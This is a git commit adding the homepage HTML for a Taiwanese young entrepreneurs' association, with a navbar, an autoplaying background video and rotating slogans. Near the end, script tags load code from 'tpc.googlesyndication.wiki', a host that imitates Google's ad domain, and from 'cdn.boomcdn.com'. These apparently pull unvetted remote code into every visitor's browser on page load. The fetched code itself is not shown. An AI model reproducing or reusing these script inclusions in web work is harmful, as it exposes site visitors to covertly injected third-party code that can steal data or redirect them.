initial commit
This commit is contained in:
+180
@@ -0,0 +1,180 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/index.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>雁博青年創業家協會</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 第一屏 -->
|
||||
<section class="page-block block-index">
|
||||
<div class="video-container">
|
||||
<video
|
||||
id="home-video"
|
||||
muted
|
||||
autoplay
|
||||
x-webkit-airplay="allow"
|
||||
x5-playsinline
|
||||
webkit-playsinline="true"
|
||||
playsinline="true"
|
||||
loop="loop"
|
||||
src="../images/video.v3.mp4"
|
||||
/>
|
||||
</div>
|
||||
<div class="main-index">
|
||||
<div class="content">
|
||||
<div id="slogan" class="title">
|
||||
<p class="animate__animated animate__fadeInDown"><span>嗨!</span><span>創業家</span></p>
|
||||
</div>
|
||||
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oDiv = document.getElementById('slogan');
|
||||
|
||||
//切换视频
|
||||
function tranVideo() {
|
||||
const ua = navigator.userAgent
|
||||
const oVideo = document.getElementById('home-video')
|
||||
if(
|
||||
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
|
||||
ua.toLowerCase().match(/QQ/i) == 'qq'
|
||||
) {
|
||||
oVideo.src = '../images/video.v3.mp4'
|
||||
}
|
||||
else {
|
||||
oVideo.src = '../images/pc-video.mp4'
|
||||
}
|
||||
}
|
||||
tranVideo()
|
||||
window.onresize = tranVideo
|
||||
//切换文字
|
||||
function tranSlogan() {
|
||||
let i = 1
|
||||
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
|
||||
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
|
||||
const cn = `<p><span>你好,</span><span>创业者</span></p>`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = en
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = cn
|
||||
i = 3
|
||||
}
|
||||
else if(i === 3) {
|
||||
oDiv.innerHTML = cnTw
|
||||
i = 1
|
||||
}
|
||||
}, 2000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
|
||||
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
|
||||
<script>
|
||||
function doPlay() {
|
||||
document.getElementById('home-video').play();
|
||||
}
|
||||
doPlay();
|
||||
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
|
||||
document.addEventListener("WeixinJSBridgeReady", function () {
|
||||
doPlay();
|
||||
}, false);
|
||||
//微信Android中无法自动播放处理
|
||||
const ua = navigator.userAgent.toLowerCase();
|
||||
const isWeixin = ua.indexOf('micromessenger') != -1;
|
||||
const isAndroid = ua.indexOf('android') != -1;
|
||||
if(isWeixin && isAndroid) {
|
||||
document.getElementById('home-video').setAttribute('poster', '../images/poster.png')
|
||||
}
|
||||
document.addEventListener("click", doPlay, false);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user